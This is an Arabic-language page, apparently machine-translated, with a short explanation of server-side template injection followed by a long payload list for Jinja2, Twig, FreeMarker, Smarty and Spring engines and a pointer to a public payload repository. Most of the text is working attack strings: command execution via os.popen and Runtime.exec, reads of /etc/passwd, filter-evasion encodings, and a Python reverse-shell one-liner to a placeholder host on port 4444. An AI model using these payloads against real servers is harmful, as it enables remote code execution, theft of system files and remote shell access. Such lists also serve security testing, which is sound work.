حقن القالب من جانب الخادم هو عندما يكون المهاجم قادرًا على استخدام بناء جملة القالب الأصلي لحقن حمولة ضارة في قالب ، يتم تنفيذها بعد ذلك.
تم تصميم محركات القالب لإنشاء صفحات ويب من خلال الجمع بين القوالب الثابتة والبيانات المتطايرة. يمكن أن تحدث هجمات حقن القالب من جانب الخادم عندما يتم تسلسل إدخال المستخدم مباشرة في قالب ، بدلاً من تمريره كبيانات. يتيح ذلك للمهاجمين حقن توجيهات القالب التعسفي من أجل معالجة محرك القالب ، وغالبًا ما يمكّنهم من السيطرة الكاملة على الخادم. كما يوحي الاسم ، يتم تسليم حمولات حقن القالب من جانب الخادم وتقييمها ، مما قد يجعلها أكثر خطورة من حقن قالب من جانب العميل.
يمكن أن تعرض نقاط الضعف في حقن القالب من جانب الخادم على مواقع الويب لمجموعة متنوعة من الهجمات اعتمادًا على محرك القالب المعني وكيف يستخدمه التطبيق بالضبط. في بعض الظروف النادرة ، لا تشكل هذه النقاط الضعيفة أي خطر أمني حقيقي. ومع ذلك ، في معظم الوقت ، يمكن أن يكون تأثير حقن القالب من جانب الخادم كارثية.
في الطرف الشديد من المقياس ، يمكن للمهاجم تحقيق تنفيذ رمز عن بعد ، والتحكم الكامل في خادم الواجهة الخلفية واستخدامه لأداء هجمات أخرى على البنية التحتية الداخلية.
حتى في الحالات التي يكون فيها تنفيذ الكود البعيد الكامل غير ممكن ، لا يزال من الممكن أن يستخدم المهاجم حقن القالب من جانب الخادم كأساس للعديد من الهجمات الأخرى ، وربما الحصول على الوصول إلى البيانات الحساسة والملفات التعسفية على الخادم.
{{ 2 * 2 }}[[ 3 * 3 ]]
{{ 3 * 3 }}
{{ 3 * '3' }}
< %= 3 * 3 % >
${ 6 * 6 }
${{ 3 * 3 }}
@( 6 + 5 )
#{3*3}
#{ 3 * 3 }
{{ dump ( app )}}
{{ app . request . server . all | join ( ',' )}}
{{ config . items ()}}
{{ []. class . base . subclasses () }}
{{ '' . class . mro ()[ 1 ]. subclasses ()}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ () }}
{{ '' . __class__ . __base__ . __subclasses__ ()}} # Search for Popen process, use payload below change 227 to index of Popen
{{ '' . __class__ . __base__ . __subclasses__ ()[ 227 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()}}
{ % for key , value in config . iteritems () % } < dt > {{ key | e }} < / dt > < dd > {{ value | e }} < / dd > { % endfor % }
{{ 'a' . toUpperCase ()}}
{{ request }}
{{ self }}
< %= File . open ( '/etc/passwd' ). read % >
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[ #assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${ "freemarker.template.utility.Execute" ? new ()( "id" )}
{{ app . request . query . filter ( 0 , 0 , 1024 ,{ 'options' : 'system' })}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( '/etc/passwd' ). read () }}
{{ config . items ()[ 4 ][ 1 ]. __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( "/etc/passwd" ). read () }}
{{ '' . __class__ . mro ()[ 1 ]. __subclasses__ ()[ 396 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()[ 0 ]. strip ()}}
{{ config . __class__ . __init__ . __globals__ [ 'os' ]. popen ( 'ls' ). read ()}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( request . args . input ). read ()}}{ % endif % }{ % endfor % }
{$ smarty . version }
{ php } echo `id` ;{ / php }
{{[ 'id' ] | filter ( 'system' )}}
{{[ 'cat x20 /etc/passwd' ] | filter ( 'system' )}}
{{[ 'cat$IFS/etc/passwd' ] | filter ( 'system' )}}
{{ request | attr ([ request . args . usc * 2 , request . args . class , request . args . usc * 2 ] | join )}}
{{ request | attr ([ "_" * 2 , "class" , "_" * 2 ] | join )}}
{{ request | attr ([ "__" , "class" , "__" ] | join )}}
{{ request | attr ( "__class__" )}}
{{ request . __class__ }}
{{ request | attr ( 'application' ) | attr ( ' x5f x5f globals x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f builtins x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f import x5f x5f ' )( 'os' ) | attr ( 'popen' )( 'id' ) | attr ( 'read' )()}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " new java . lang . String ( 'xxx' ) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " whoami \ " ); x . start () " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " netstat \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " uname \ " , \ " - a \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( " ip " ,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ " /bin/cat " , " /etc/passwd " ]);'" ). read (). zfill ( 417 )}}{ % endif % }{ % endfor % }
${ T ( java . lang . System ). getenv ()}
${ T ( java . lang . Runtime ). getRuntime (). exec ( 'cat etc/passwd' )}
${ T ( org . apache . commons . io . IOUtils ). toString ( T ( java . lang . Runtime ). getRuntime (). exec ( T ( java . lang . Character ). toString ( 99 ). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 32 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 101 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 99 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 112 )). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 119 )). concat ( T ( java . lang . Character ). toString ( 100 ))). getInputStream ())} root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git
root@ismailtasdelen:~# git clone [email protected]:payloadbox/ssti-payloads.git
دعم المؤلفين: